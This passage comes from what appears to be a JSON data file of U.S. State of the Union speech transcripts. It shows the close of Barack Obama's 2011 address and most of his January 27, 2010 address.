trillion\ndollars to our deficit. Still, I'm willing to look at other ideas to bring\ndown costs, including one that Republicans suggested last year -- medical\nmalpractice reform to rein in frivolous lawsuits.To put us on solid ground, we should also find a bipartisan solution to\nstrengthen Social Security for future generations. We must do it without\nputting at risk current retirees, the most vulnerable, or people with\ndisabilities; without slashing benefits for future generations; and without\nsubjecting Americans' guaranteed retirement income to the whims of the stock\nmarket.And if we truly care about our deficit, we simply can't afford a permanent\nextension of the tax cuts for the wealthiest 2 percent of Americans. Before we\ntake money away from our schools or scholarships away from our students, we\nshould ask millionaires to give up their tax break. It's not a matter of\npunishing their success. It's about promoting America's success.In fact, the best thing we could do on taxes for all Americans is to simplify\nthe individual tax code. This will be a tough job, but members of both parties\nhave expressed an interest in doing this, and I am prepared to join them.So now is the time to act. Now is the time for both sides and both houses of\nCongress - Democrats and Republicans -- to forge a principled compromise that\ngets the job done. If we make the hard choices now to rein in our deficits, we\ncan make the investments we need to win the future.Let me take this one step further. We shouldn't just give our people a\ngovernment that's more affordable. We should give them a government that's\nmore competent and more efficient. We can't win the future with a government\nof the past.We live and do business in the Information Age, but the last major\nreorganization of the government happened in the age of black-and-white TV.\nThere are 12 different agencies that deal with exports. There are at least\nfive different agencies that deal with housing policy. Then there's my\nfavorite example: The Interior Department is in charge of salmon while they're\nin fresh water, but the Commerce Department handles them when they're in\nsaltwater. I hear it gets even more complicated once they're smoked.Now, we've made great strides over the last two years in using technology and\ngetting rid of waste. Veterans can now download their electronic medical\nrecords with a click of the mouse. We're selling acres of federal office space\nthat hasn't been used in years, and we'll cut through red tape to get rid of\nmore. But we need to think bigger. In the coming months, my administration\nwill develop a proposal to merge, consolidate, and reorganize the federal\ngovernment in a way that best serves the goal of a more competitive America. I\nwill submit that proposal to Congress for a vote - and we will push to get it\npassed.In the coming year, we'll also work to rebuild people's faith in the\ninstitution of government. Because you deserve to know exactly how and where\nyour tax dollars are being spent, you'll be able to go to a website and get\nthat information for the very first time in history. Because you deserve to\nknow when your elected officials are meeting with lobbyists, I ask Congress to\ndo what the White House has already done -- put that information online. And\nbecause the American people deserve to know that special interests aren't\nlarding up legislation with pet projects, both parties in Congress should know\nthis: If a bill comes to my desk with earmarks inside, I will veto it. I will\nveto it.The 21st century government that's open and competent. A government that lives\nwithin its means. An economy that's driven by new skills and new ideas. Our\nsuccess in this new and changing world will require reform, responsibility,\nand innovation. It will also require us to approach that world with a new\nlevel of engagement in our foreign affairs.Just as jobs and businesses can now race across borders, so can new threats\nand new challenges. No single wall separates East and West. No one rival\nsuperpower is aligned against us.And so we must defeat determined enemies, wherever they are, and build\ncoalitions that cut across lines of region and race and religion. And\nAmerica's moral example must always shine for all who yearn for freedom and\njustice and dignity. And because we've begun this work, tonight we can say\nthat American leadership has been renewed and America's standing has been\nrestored.Look to Iraq, where nearly 100,000 of our brave men and women have left with\ntheir heads held high. American combat patrols have ended, violence is down,\nand a new government has been formed. This year, our civilians will forge a\nlasting partnership with the Iraqi people, while we finish the job of bringing\nour troops out of Iraq. America's commitment has been kept. The Iraq war is\ncoming to an end.Of course, as we speak, al Qaeda and their affiliates continue to plan attacks\nagainst us. Thanks to our intelligence and law enforcement professionals,\nwe're disrupting plots and securing our cities and skies. And as extremists\ntry to inspire acts of violence within our borders, we are responding with the\nstrength of our communities, with respect for the rule of law, and with the\nconviction that American Muslims are a part of our American family.We've also taken the fight to al Qaeda and their allies abroad. In\nAfghanistan, our troops have taken Taliban strongholds and trained Afghan\nsecurity forces. Our purpose is clear: By preventing the Taliban from\nreestablishing a stranglehold over the Afghan people, we will deny al Qaeda\nthe safe haven that served as a launching pad for 9/11.Thanks to our heroic troops and civilians, fewer Afghans are under the control\nof the insurgency. There will be tough fighting ahead, and the Afghan\ngovernment will need to deliver better governance. But we are strengthening\nthe capacity of the Afghan people and building an enduring partnership with\nthem. This year, we will work with nearly 50 countries to begin a transition\nto an Afghan lead. And this July, we will begin to bring our troops home.In Pakistan, al Qaeda's leadership is under more pressure than at any point\nsince 2001. Their leaders and operatives are being removed from the\nbattlefield. Their safe havens are shrinking. And we've sent a message from\nthe Afghan border to the Arabian Peninsula to all parts of the globe: We will\nnot relent, we will not waver, and we will defeat you.American leadership can also be seen in the effort to secure the worst weapons\nof war. Because Republicans and Democrats approved the New START treaty, far\nfewer nuclear weapons and launchers will be deployed. Because we rallied the\nworld, nuclear materials are being locked down on every continent so they\nnever fall into the hands of terrorists.Because of a diplomatic effort to insist that Iran meet its obligations, the\nIranian government now faces tougher sanctions, tighter sanctions than ever\nbefore. And on the Korean Peninsula, we stand with our ally South Korea, and\ninsist that North Korea keeps its commitment to abandon nuclear weapons.This is just a part of how we're shaping a world that favors peace and\nprosperity. With our European allies, we revitalized NATO and increased our\ncooperation on everything from counterterrorism to missile defense. We've\nreset our relationship with Russia, strengthened Asian alliances, built new\npartnerships with nations like India.This March, I will travel to Brazil, Chile, and El Salvador to forge new\nalliances across the Americas. Around the globe, we're standing with those who\ntake responsibility -- helping farmers grow more food, supporting doctors who\ncare for the sick, and combating the corruption that can rot a society and rob\npeople of opportunity.Recent events have shown us that what sets us apart must not just be our power\n-- it must also be the purpose behind it. In south Sudan -- with our\nassistance -- the people were finally able to vote for independence after\nyears of war. Thousands lined up before dawn. People danced in the streets.\nOne man who lost four of his brothers at war summed up the scene around him:\n\"This was a battlefield for most of my life,\" he said. \"Now we want to be\nfree.\"And we saw that same desire to be free in Tunisia, where the will of the\npeople proved more powerful than the writ of a dictator. And tonight, let us\nbe clear: The United States of America stands with the people of Tunisia, and\nsupports the democratic aspirations of all people.We must never forget that the things we've struggled for, and fought for, live\nin the hearts of people everywhere. And we must always remember that the\nAmericans who have borne the greatest burden in this struggle are the men and\nwomen who serve our country.Tonight, let us speak with one voice in reaffirming that our nation is united\nin support of our troops and their families. Let us serve them as well as\nthey've served us -- by giving them the equipment they need, by providing them\nwith the care and benefits that they have earned, and by enlisting our\nveterans in the great task of building our own nation.Our troops come from every corner of this country -- they're black, white,\nLatino, Asian, Native American. They are Christian and Hindu, Jewish and\nMuslim. And, yes, we know that some of them are gay. Starting this year, no\nAmerican will be forbidden from serving the country they love because of who\nthey love. And with that change, I call on all our college campuses to open\ntheir doors to our military recruiters and ROTC. It is time to leave behind\nthe divisive battles of the past. It is time to move forward as one nation.We should have no illusions about the work ahead of us. Reforming our schools,\nchanging the way we use energy, reducing our deficit - none of this will be\neasy. All of it will take time. And it will be harder because we will argue\nabout everything. The costs. The details. The letter of every law.Of course, some countries don't have this problem. If the central government\nwants a railroad, they build a railroad, no matter how many homes get\nbulldozed. If they don't want a bad story in the newspaper, it doesn't get\nwritten.And yet, as contentious and frustrating and messy as our democracy can\nsometimes be, I know there isn't a person here who would trade places with any\nother nation on Earth.We may have differences in policy, but we all believe in the rights enshrined\nin our Constitution. We may have different opinions, but we believe in the\nsame promise that says this is a place where you can make it if you try. We\nmay have different backgrounds, but we believe in the same dream that says\nthis is a country where anything is possible. No matter who you are. No matter\nwhere you come from.That dream is why I can stand here before you tonight. That dream is why a\nworking-class kid from Scranton can sit behind me. That dream is why someone\nwho began by sweeping the floors of his father's Cincinnati bar can preside as\nSpeaker of the House in the greatest nation on Earth.That dream -- that American Dream -- is what drove the Allen Brothers to\nreinvent their roofing company for a new era. It's what drove those students\nat Forsyth Tech to learn a new skill and work towards the future. And that\ndream is the story of a small business owner named Brandon Fisher.Brandon started a company in Berlin, Pennsylvania, that specializes in a new\nkind of drilling technology. And one day last summer, he saw the news that\nhalfway across the world, 33 men were trapped in a Chilean mine, and no one\nknew how to save them.But Brandon thought his company could help. And so he designed a rescue that\nwould come to be known as Plan B. His employees worked around the clock to\nmanufacture the necessary drilling equipment. And Brandon left for Chile.Along with others, he began drilling a 2,000-foot hole into the ground,\nworking three- or four-hour -- three or four days at a time without any sleep.\nThirty-seven days later, Plan B succeeded, and the miners were rescued. But\nbecause he didn't want all of the attention, Brandon wasn't there when the\nminers emerged. He'd already gone back home, back to work on his next project.And later, one of his employees said of the rescue, \"We proved that Center\nRock is a little company, but we do big things.\"We do big things.From the earliest days of our founding, America has been the story of ordinary\npeople who dare to dream. That's how we win the future.We're a nation that says, \"I might not have a lot of money, but I have this\ngreat idea for a new company.\" \"I might not come from a family of college\ngraduates, but I will be the first to get my degree.\" \"I might not know those\npeople in trouble, but I think I can help them, and I need to try.\" \"I'm not\nsure how we'll reach that better place beyond the horizon, but I know we'll\nget there. I know we will.\"We do big things.The idea of America endures. Our destiny remains our choice. And tonight, more\nthan two centuries later, it's because of our people that our future is\nhopeful, our journey goes forward, and the state of our union is strong.Thank you. God bless you, and may God bless the United States of America.", 
+    "name": "Barack Obama"
+}
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+{
+    "date": "January 27, 2010", 
+    "speech": "Madame Speaker, Vice President Biden, Members of Congress, distinguished\nguests, and fellow Americans:Our Constitution declares that from time to time, the President shall give to\nCongress information about the state of our union. For two hundred and twenty\nyears, our leaders have fulfilled this duty. They have done so during periods\nof prosperity and tranquility. And they have done so in the midst of war and\ndepression; at moments of great strife and great struggle.It's tempting to look back on these moments and assume that our progress was\ninevitable -- that America was always destined to succeed. But when the Union\nwas turned back at Bull Run and the Allies first landed at Omaha Beach,\nvictory was very much in doubt. When the market crashed on Black Tuesday and\ncivil rights marchers were beaten on Bloody Sunday, the future was anything\nbut certain. These were times that tested the courage of our convictions, and\nthe strength of our union. And despite all our divisions and disagreements;\nour hesitations and our fears; America prevailed because we chose to move\nforward as one nation, and one people.Again, we are tested. And again, we must answer history's call.One year ago, I took office amid two wars, an economy rocked by severe\nrecession, a financial system on the verge of collapse, and a government\ndeeply in debt. Experts from across the political spectrum warned that if we\ndid not act, we might face a second depression. So we acted -- immediately and\naggressively. And one year later, the worst of the storm has passed.But the devastation remains. One in ten Americans still cannot find work. Many\nbusinesses have shuttered. Home values have declined. Small towns and rural\ncommunities have been hit especially hard. For those who had already known\npoverty, life has become that much harder.This recession has also compounded the burdens that America's families have\nbeen dealing with for decades -- the burden of working harder and longer for\nless; of being unable to save enough to retire or help kids with college.So I know the anxieties that are out there right now. They're not new. These\nstruggles are the reason I ran for President. These struggles are what I've\nwitnessed for years in places like Elkhart, Indiana and Galesburg, Illinois. I\nhear about them in the letters that I read each night. The toughest to read\nare those written by children -- asking why they have to move from their home,\nor when their mom or dad will be able to go back to work.For these Americans and so many others, change has not come fast enough. Some\nare frustrated; some are angry. They don't understand why it seems like bad\nbehavior on Wall Street is rewarded but hard work on Main Street isn't; or why\nWashington has been unable or unwilling to solve any of our problems. They are\ntired of the partisanship and the shouting and the pettiness. They know we\ncan't afford it. Not now.So we face big and difficult challenges. And what the American people hope --\nwhat they deserve -- is for all of us, Democrats and Republicans, to work\nthrough our differences; to overcome the numbing weight of our politics. For\nwhile the people who sent us here have different backgrounds, different\nstories and different beliefs, the anxieties they face are the same. The\naspirations they hold are shared. A job that pays the bills. A chance to get\nahead. Most of all, the ability to give their children a better life.You know what else they share? They share a stubborn resilience in the face of\nadversity. After one of the most difficult years in our history, they remain\nbusy building cars and teaching kids; starting businesses and going back to\nschool. They're coaching little league and helping their neighbors. As one\nwoman wrote me, \"We are strained but hopeful, struggling but encouraged.\"It is because of this spirit -- this great decency and great strength -- that\nI have never been more hopeful about America's future than I am tonight.\nDespite our hardships, our union is strong. We do not give up. We do not quit.\nWe do not allow fear or division to break our spirit. In this new decade, it's\ntime the American people get a government that matches their decency; that\nembodies their strength.And tonight, I'd like to talk about how together, we can deliver on that\npromise.It begins with our economy.Our most urgent task upon taking office was to shore up the same banks that\nhelped cause this crisis. It was not easy to do. And if there's one thing that\nhas unified Democrats and Republicans, it's that we all hated the bank\nbailout. I hated it. You hated it. It was about as popular as a root canal.But when I ran for President, I promised I wouldn't just do what was popular\n-- I would do what was necessary. And if we had allowed the meltdown of the\nfinancial system, unemployment might be double what it is today. More\nbusinesses would certainly have closed. More homes would have surely been\nlost.So I supported the last administration's efforts to create the financial\nrescue program. And when we took the program over, we made it more transparent\nand accountable. As a result, the markets are now stabilized, and we have\nrecovered most of the money we spent on the banks.To recover the rest, I have proposed a fee on the biggest banks. I know Wall\nStreet isn't keen on this idea, but if these firms can afford to hand out big\nbonuses again, they can afford a modest fee to pay back the taxpayers who\nrescued them in their time of need.As we stabilized the financial system, we also took steps to get our economy\ngrowing again, save as many jobs as possible, and help Americans who had\nbecome unemployed.That's why we extended or increased unemployment benefits for more than 18\nmillion Americans; made health insurance 65% cheaper for families who get\ntheir coverage through COBRA; and passed 25 different tax cuts.Let me repeat: we cut taxes. We cut taxes for 95% of working families. We cut\ntaxes for small businesses. We cut taxes for first-time homebuyers. We cut\ntaxes for parents trying to care for their children. We cut taxes for 8\nmillion Americans paying for college. As a result, millions of Americans had\nmore to spend on gas, and food, and other necessities, all of which helped\nbusinesses keep more workers. And we haven't raised income taxes by a single\ndime on a single person. Not a single dime.Because of the steps we took, there are about two million Americans working\nright now who would otherwise be unemployed. 200,000 work in construction and\nclean energy. 300,000 are teachers and other education workers. Tens of\nthousands are cops, firefighters, correctional officers, and first responders.\nAnd we are on track to add another one and a half million jobs to this total\nby the end of the year.The plan that has made all of this possible, from the tax cuts to the jobs, is\nthe Recovery Act. That's right -- the Recovery Act, also known as the Stimulus\nBill. Economists on the left and the right say that this bill has helped saved\njobs and avert disaster. But you don't have to take their word for it.Talk to the small business in Phoenix that will triple its workforce because\nof the Recovery Act.Talk to the window manufacturer in Philadelphia who said he used to be\nskeptical about the Recovery Act, until he had to add two more work shifts\njust because of the business it created.Talk to the single teacher raising two kids who was told by her principal in\nthe last week of school that because of the Recovery Act, she wouldn't be laid\noff after all.There are stories like this all across America. And after two years of\nrecession, the economy is growing again. Retirement funds have started to gain\nback some of their value. Businesses are beginning to invest again, and slowly\nsome are starting to hire again.But I realize that for every success story, there are other stories, of men\nand women who wake up with the anguish of not knowing where their next\npaycheck will come from; who send out resumes week after week and hear nothing\nin response. That is why jobs must be our number one focus in 2010, and that\nis why I am calling for a new jobs bill tonight.Now, the true engine of job creation in this country will always be America's\nbusinesses. But government can create the conditions necessary for businesses\nto expand and hire more workers.We should start where most new jobs do -- in small businesses, companies that\nbegin when an entrepreneur takes a chance on a dream, or a worker decides its\ntime she became her own boss.Through sheer grit and determination, these companies have weathered the\nrecession and are ready to grow. But when you talk to small business owners in\nplaces like Allentown, Pennsylvania or Elyria, Ohio, you find out that even\nthough banks on Wall Street are lending again, they are mostly lending to\nbigger companies. But financing remains difficult for small business owners\nacross the country.So tonight, I'm proposing that we take $30 billion of the money Wall Street\nbanks have repaid and use it to help community banks give small businesses the\ncredit they need to stay afloat. I am also proposing a new small business tax\ncredit -- one that will go to over one million small businesses who hire new\nworkers or raise wages. While we're at it, let's also eliminate all capital\ngains taxes on small business investment; and provide a tax incentive for all\nbusinesses, large and small, to invest in new plants and equipment.Next, we can put Americans to work today building the infrastructure of\ntomorrow. From the first railroads to the interstate highway system, our\nnation has always been built to compete. There's no reason Europe or China\nshould have the fastest trains, or the new factories that manufacture clean\nenergy products.Tomorrow, I'll visit Tampa, Florida, where workers will soon break ground on a\nnew high-speed railroad funded by the Recovery Act. There are projects like\nthat all across this country that will create jobs and help our nation move\ngoods, services, and information. We should put more Americans to work\nbuilding clean energy facilities, and give rebates to Americans who make their\nhomes more energy efficient, which supports clean energy jobs. And to\nencourage these and other businesses to stay within our borders, it's time to\nfinally slash the tax breaks for companies that ship our jobs overseas and\ngive those tax breaks to companies that create jobs in the United States of\nAmerica.The House has passed a jobs bill that includes some of these steps. As the\nfirst order of business this year, I urge the Senate to do the same. People\nare out of work. They are hurting. They need our help. And I want a jobs bill\non my desk without delay.But the truth is, these steps still won't make up for the seven million jobs\nwe've lost over the last two years. The only way to move to full employment is\nto lay a new foundation for long-term economic growth, and finally address the\nproblems that America's families have confronted for years.We cannot afford another so-called economic \"expansion\" like the one from last\ndecade -- what some call the \"lost decade\" -- where jobs grew more slowly than\nduring any prior expansion; where the income of the average American household\ndeclined while the cost of health care and tuition reached record highs; where\nprosperity was built on a housing bubble and financial speculation.From the day I took office, I have been told that addressing our larger\nchallenges is too ambitious -- that such efforts would be too contentious,\nthat our political system is too gridlocked, and that we should just put\nthings on hold for awhile.For those who make these claims, I have one simple question:How long should we wait? How long should America put its future on hold?You see, Washington has been telling us to wait for decades, even as the\nproblems have grown worse. Meanwhile, China's not waiting to revamp its\neconomy. Germany's not waiting. India's not waiting. These nations aren't\nstanding still. These nations aren't playing for second place. They're putting\nmore emphasis on math and science. They're rebuilding their infrastructure.\nThey are making serious investments in clean energy because they want those\njobs.Well I do not accept second-place for the United States of America. As hard as\nit may be, as uncomfortable and contentious as the debates may be, it's time\nto get serious about fixing the problems that are hampering our growth.One place to start is serious financial reform. Look, I am not interested in\npunishing banks, I'm interested in protecting our economy. A strong, healthy\nfinancial market makes it possible for businesses to access credit and create\nnew jobs. It channels the savings of families into investments that raise\nincomes. But that can only happen if we guard against the same recklessness\nthat nearly brought down our entire economy.We need to make sure consumers and middle-class families have the information\nthey need to make financial decisions. We can't allow financial institutions,\nincluding those that take your deposits, to take risks that threaten the whole\neconomy.The House has already passed financial reform with many of these changes. And\nthe lobbyists are already trying to kill it. Well, we cannot let them win this\nfight. And if the bill that ends up on my desk does not meet the test of real\nreform, I will send it back.Next, we need to encourage American innovation. Last year, we made the largest\ninvestment in basic research funding in history -- an investment that could\nlead to the world's cheapest solar cells or treatment that kills cancer cells\nbut leaves healthy ones untouched. And no area is more ripe for such\ninnovation than energy. You can see the results of last year's investment in\nclean energy -- in the North Carolina company that will create 1200 jobs\nnationwide helping to make advanced batteries; or in the California business\nthat will put 1,000 people to work making solar panels.But to create more of these clean energy jobs, we need more production, more\nefficiency, more incentives. That means building a new generation of safe,\nclean nuclear power plants in this country. It means making tough decisions\nabout opening new offshore areas for oil and gas development. It means\ncontinued investment in advanced biofuels and clean coal technologies. And\nyes, it means passing a comprehensive energy and climate bill with incentives\nthat will finally make clean energy the profitable kind of energy in America.I am grateful to the House for passing such a bill last year. This year, I am\neager to help advance the bipartisan effort in the Senate. I know there have\nbeen questions about whether we can afford such changes in a tough economy;\nand I know that there are those who disagree with the overwhelming scientific\nevidence on climate change. But even if you doubt the evidence, providing\nincentives for energy efficiency and clean energy are the right thing to do\nfor our future -- because the nation that leads the clean energy economy will\nbe the nation that leads the global economy. And America must be that nation.Third, we need to export more of our goods. Because the more products we make\nand sell to other countries, the more jobs we support right here in America.\nSo tonight, we set a new goal: We will double our exports over the next five\nyears, an increase that will support two million jobs in America. To help meet\nthis goal, we're launching a National Export Initiative that will help farmers\nand small businesses increase their exports, and reform export controls\nconsistent with national security.We have to seek new markets aggressively, just as our competitors are. If\nAmerica sits on the sidelines while other nations sign trade deals, we will\nlose the chance to create jobs on our shores. But realizing those benefits\nalso means enforcing those agreements so our trading partners play by the\nrules. And that's why we will continue to shape a Doha trade agreement that\nopens global markets, and why we will strengthen our trade relations in Asia\nand with key partners like South Korea, Panama, and Colombia.Fourth, we need to invest in the skills and education of our people.This year, we have broken through the stalemate between left and right by\nlaunching a national competition to improve our schools. The idea here is\nsimple: instead of rewarding failure, we only reward success. Instead of\nfunding the status quo, we only invest in reform -- reform that raises student\nachievement, inspires students to excel in math and science, and turns around\nfailing schools that steal the future of too many young Americans, from rural\ncommunities to inner-cities. In the 21st century, one of the best anti-poverty\nprograms is a world-class education. In this country, the success of our\nchildren cannot depend more on where they live than their potential.When we renew the Elementary and Secondary Education Act, we will work with\nCongress to expand these reforms to all fifty states. Still, in this economy,\na high school diploma no longer guarantees a good job. I urge the Senate to\nfollow the House and pass a bill that will revitalize our community colleges,\nwhich are a career pathway to the children of so many working families. To\nmake college more affordable, this bill will finally end the unwarranted\ntaxpayer-subsidies that go to banks for student loans. Instead, let's take\nthat money and give families a $10,000 tax credit for four years of college\nand increase Pell Grants. And let's tell another one million students that\nwhen they graduate, they will be required to pay only ten percent of their\nincome on student loans, and all of their debt will be forgiven after twenty\nyears -- and forgiven after ten years if they choose a career in public\nservice. Because in the United States of America, no one should go broke\nbecause they chose to go to college. And it's time for colleges and\nuniversities to get serious about cutting their own costs -- because they too\nhave a responsibility to help solve this problem.Now, the price of college tuition is just one of the burdens facing the\nmiddle-class. That's why last year I asked Vice President Biden to chair a\ntask force on Middle-Class Families. That's why we're nearly doubling the\nchild care tax credit, and making it easier to save for retirement by giving\nevery worker access to a retirement account and expanding the tax credit for\nthose who start a nest egg. That's why we're working to lift the value of a\nfamily's single largest investment -- their home. The steps we took last year\nto shore up the housing market have allowed millions of Americans to take out\nnew loans and save an average of $1,500 on mortgage payments. This year, we\nwill step up re-financing so that homeowners can move into more affordable\nmortgages. And it is precisely to relieve the burden on middle-class families\nthat we still need health insurance reform.Now let's be clear -- I did not choose to tackle this issue to get some\nlegislative victory under my belt. And by now it should be fairly obvious that\nI didn't take on health care because it was good politics.I took on health care because of the stories I've heard from Americans with\npre-existing conditions whose lives depend on getting coverage; patients\nwho've been denied coverage; and families -- even those with insurance -- who\nare just one illness away from financial ruin.After nearly a century of trying, we are closer than ever to bringing more\nsecurity to the lives of so many Americans. The approach we've taken would\nprotect every American from the worst practices of the insurance industry. It\nwould give small businesses and uninsured Americans a chance to choose an\naffordable health care plan in a competitive market. It would require every\ninsurance plan to cover preventive care. And by the way, I want to acknowledge\nour First Lady, Michelle Obama, who this year is creating a national movement\nto tackle the epidemic of childhood obesity and make our kids healthier.Our approach would preserve the right of Americans who have insurance to keep\ntheir doctor and their plan. It would reduce costs and premiums for millions\nof families and businesses. And according to the Congressional Budget Office\n-- the independent organization that both parties have cited as the official\nscorekeeper for Congress -- our approach would bring down the deficit by as\nmuch as $1 trillion over the next two decades.Still, this is a complex issue, and the longer it was debated, the more\nskeptical people became. I take my share of the blame for not explaining it\nmore clearly to the American people. And I know that with all the lobbying and\nhorse-trading, this process left most Americans wondering what's in it for\nthem.But I also know this problem is not going away. By the time I'm finished\nspeaking tonight, more Americans will have lost their health insurance.\nMillions will lose it this year. Our deficit will grow. Premiums will go up.\nPatients will be denied the care they need. Small business owners will\ncontinue to drop coverage altogether. I will not walk away from these\nAmericans, and neither should the people in this chamber.As temperatures cool, I want everyone to take another look at the plan we've\nproposed. There's a reason why many doctors, nurses, and health care experts\nwho know our system best consider this approach a vast improvement over the\nstatus quo. But if anyone from either party has a better approach that will\nbring down premiums, bring down the deficit, cover the uninsured, strengthen\nMedicare for seniors, and stop insurance company abuses, let me know. Here's\nwhat I ask of Congress, though: Do not walk away from reform. Not now. Not\nwhen we are so close. Let us find a way to come together and finish the job\nfor the American people.Now, even as health care reform would reduce our deficit, it's not enough to\ndig us out of a massive fiscal hole in which we find ourselves. It's a\nchallenge that makes all others that much harder to solve, and one that's been\nsubject to a lot of political posturing.So let me start the discussion of government spending by setting the record\nstraight. At the beginning of the last decade, America had a budget surplus of\nover $200 billion. By the time I took office, we had a one year deficit of\nover $1 trillion and projected deficits of $8 trillion over the next decade.\nMost of this was the result of not paying for two wars, two tax cuts, and an\nexpensive prescription drug program. On top of that, the effects of the\nrecession put a $3 trillion hole in our budget. That was before I walked in\nthe door.Now if we had taken office in ordinary times, I would have liked nothing more\nthan to start bringing down the deficit. But we took office amid a crisis, and\nour efforts to prevent a second Depression have added another $1 trillion to\nour national debt.I am absolutely convinced that was the right thing to do. But families across\nthe country are tightening their belts and making tough decisions. The federal\ngovernment should do the same. So tonight, I'm proposing specific steps to pay\nfor the $1 trillion that it took to rescue the economy last year.Starting in 2011, we are prepared to freeze government spending for three\nyears. Spending related to our national security, Medicare, Medicaid, and\nSocial Security will not be affected. But all other discretionary government\nprograms will. Like any cash-strapped family, we will work within a budget to\ninvest in what we need and sacrifice what we don't. And if I have to enforce\nthis discipline by veto, I will.We will continue to go through the budget line by line to eliminate programs\nthat we can't afford and don't work. We've already identified $20 billion in\nsavings for next year. To help working families, we will extend our\nmiddle-class tax cuts. But at a time of record deficits, we will not continue\ntax cuts for oil companies, investment fund managers, and those making over\n$250,000 a year. We just can't afford it.Now, even after paying for what we spent on my watch, we will still face the\nmassive deficit we had when I took office. More importantly, the cost of\nMedicare, Medicaid, and Social Security will continue to skyrocket. That's why\nI've called for a bipartisan, Fiscal Commission, modeled on a proposal by\nRepublican Judd Gregg and Democrat Kent Conrad. This can't be one of those\nWashington gimmicks that lets us pretend we solved a problem. The Commission\nwill have to provide a specific set of solutions by a certain deadline.\nYesterday, the Senate blocked a bill that would have created this commission.\nSo I will issue an executive order that will allow us to go forward, because I\nrefuse to pass this problem on to another generation of Americans. And when\nthe vote comes tomorrow, the Senate should restore the pay-as-you-go law that\nwas a big reason why we had record surpluses in the 1990s.I know that some in my own party will argue that we cannot address the deficit\nor freeze government spending when so many are still hurting. I agree, which\nis why this freeze will not take effect until next year, when the economy is\nstronger. But understand -- if we do not take meaningful steps to rein in our\ndebt, it could damage our markets, increase the cost of borrowing, and\njeopardize our recovery -- all of which could have an even worse effect on our\njob growth and family incomes.From some on the right, I expect we'll hear a different argument  that if we\njust make fewer investments in our people, extend tax cuts for wealthier\nAmericans, eliminate more regulations, and maintain the status quo on health\ncare, our deficits will go away. The problem is, that's what we did for eight\nyears. That's what helped lead us into this crisis. It's what helped lead to\nthese deficits. And we cannot do it again.Rather than fight the same tired battles that have dominated Washington for\ndecades, it's time to try something new. Let's invest in our people without\nleaving them a mountain of debt. Let's meet our responsibility to the citizens\nwho sent us here. Let's try common sense.To do that, we have to recognize that we face more than a deficit of dollars\nright now. We face a deficit of trust  deep and corrosive doubts about how\nWashington works that have been growing for years. To close that credibility\ngap we must take action on both ends of Pennsylvania Avenue to end the\noutsized influence of lobbyists; to do our work openly; and to give our people\nthe government they deserve.That's what I came to Washington to do. That's why  for the first time in\nhistory  my Administration posts our White House visitors online. And that's\nwhy we've excluded lobbyists from policy-making jobs or seats on federal\nboards and commissions.But we can't stop there. It's time to require lobbyists to disclose each\ncontact they make on behalf of a client with my Administration or Congress.\nAnd it's time to put strict limits on the contributions that lobbyists give to\ncandidates for federal office. Last week, the Supreme Court reversed a century\nof law to open the floodgates for special interests  including foreign\ncorporations  to spend without limit in our elections. Well I don't think\nAmerican elections should be bankrolled by America's most powerful interests,\nor worse, by foreign entities. They should be decided by the American people,\nand that's why I'm urging Democrats and Republicans to pass a bill that helps\nto right this wrong.I'm also calling on Congress to continue down the path of earmark reform. You\nhave trimmed some of this spending and embraced some meaningful change. But\nrestoring the public trust demands more. For example, some members of Congress\npost some earmark requests online. Tonight, I'm calling on Congress to publish\nall earmark requests on a single website before there's a vote so that the\nAmerican people can see how their money is being spent.Of course, none of these reforms will even happen if we don't also reform how\nwe work with one another.Now, I am not nave. I never thought the mere fact of my election would usher\nin peace, harmony, and some post-partisan era. I knew that both parties have\nfed divisions that are deeply entrenched. And on some issues, there are simply\nphilosophical differences that will always cause us to part ways. These\ndisagreements, about the role of government in our lives, about our national\npriorities and our national security, have been taking place for over two\nhundred years. They are the very essence of our democracy.But what frustrates the American people is a Washington where every day is\nElection Day. We cannot wage a perpetual campaign where the only goal is to\nsee who can get the most embarrassing headlines about their opponent  a belief\nthat if you lose, I win. Neither party should delay or obstruct every single\nbill just because they can. The confirmation of well-qualified public servants\nshould not be held hostage to the pet projects or grudges of a few individual\nSenators. Washington may think that saying anything about the other side, no\nmatter how false, is just part of the game. But it is precisely such politics\nthat has stopped either party from helping the American people. Worse yet, it\nis sowing further division among our citizens and further distrust in our\ngovernment.So no, I will not give up on changing the tone of our politics. I know it's an\nelection year. And after last week, it is clear that campaign fever has come\neven earlier than usual. But we still need to govern. To Democrats, I would\nremind you that we still have the largest majority in decades, and the people\nexpect us to solve some problems, not run for the hills. And if the Republican\nleadership is going to insist that sixty votes in the Senate are required to\ndo any business at all in this town, then the responsibility to govern is now\nyours as well. Just saying no to everything may be good short-term politics,\nbut it's not leadership. We were sent here to serve our citizens, not our\nambitions. So let's show the American people that we can do it together. This\nweek, I'll be addressing a meeting of the House Republicans. And I would like\nto begin monthly meetings with both the Democratic and Republican leadership.\nI know you can't wait.Throughout our history, no issue has united this country more than our\nsecurity. Sadly, some of the unity we felt after 9/11 has dissipated. We can\nargue all we want about who's to blame for this, but I am not interested in\nre-litigating the past. I know that all of us love this country. All of us are\ncommitted to its defense. So let's put aside the schoolyard taunts about who\nis tough. Let's reject the false choice between protecting our people and\nupholding our values. Let's leave behind the fear and division, and do what it\ntakes to defend our nation and forge a more hopeful future  for America and\nthe world.That is the work we began last year. Since the day I took office, we have\nrenewed our focus on the terrorists who threaten our nation. We have made\nsubstantial investments in our homeland security and disrupted plots that\nthreatened to take American lives. We are filling unacceptable gaps revealed\nby the failed Christmas attack, with better airline security, and swifter\naction on our intelligence. We have prohibited torture and strengthened\npartnerships from the Pacific to South Asia to the Arabian Peninsula. And in\nthe last year, hundreds of Al Qaeda's fighters and affiliates, including many\nsenior leaders, have been captured or killed  far more than in 2008.In Afghanistan, we are increasing our troops and training Afghan Security\nForces so they can begin to take the lead in July of 2011, and our troops can\nbegin to come home. We will reward good governance, reduce corruption, and\nsupport the rights of all Afghans  men and women alike. We are joined by\nallies and partners who have increased their own commitment, and who will come\ntogether tomorrow in London to reaffirm our common purpose. There will be\ndifficult days ahead. But I am confident we will succeed.As we take the fight to al Qaeda, we are responsibly leaving Iraq to its\npeople. As a candidate, I promised that I would end this war, and that is what\nI am doing as President. We will have all of our combat troops out of Iraq by\nthe end of this August. We will support the Iraqi government as they hold\nelections, and continue to partner with the Iraqi people to promote regional\npeace and prosperity. But make no mistake: this war is ending, and all of our\ntroops are coming home.Tonight, all of our men and women in uniform -- in Iraq, Afghanistan, and\naround the world  must know that they have our respect, our gratitude, and our\nfull support. And just as they must have the resources they need in war, we\nall have a responsibility to support them when they come home. That is why we\nmade the largest increase in investments for veterans in decades. That is 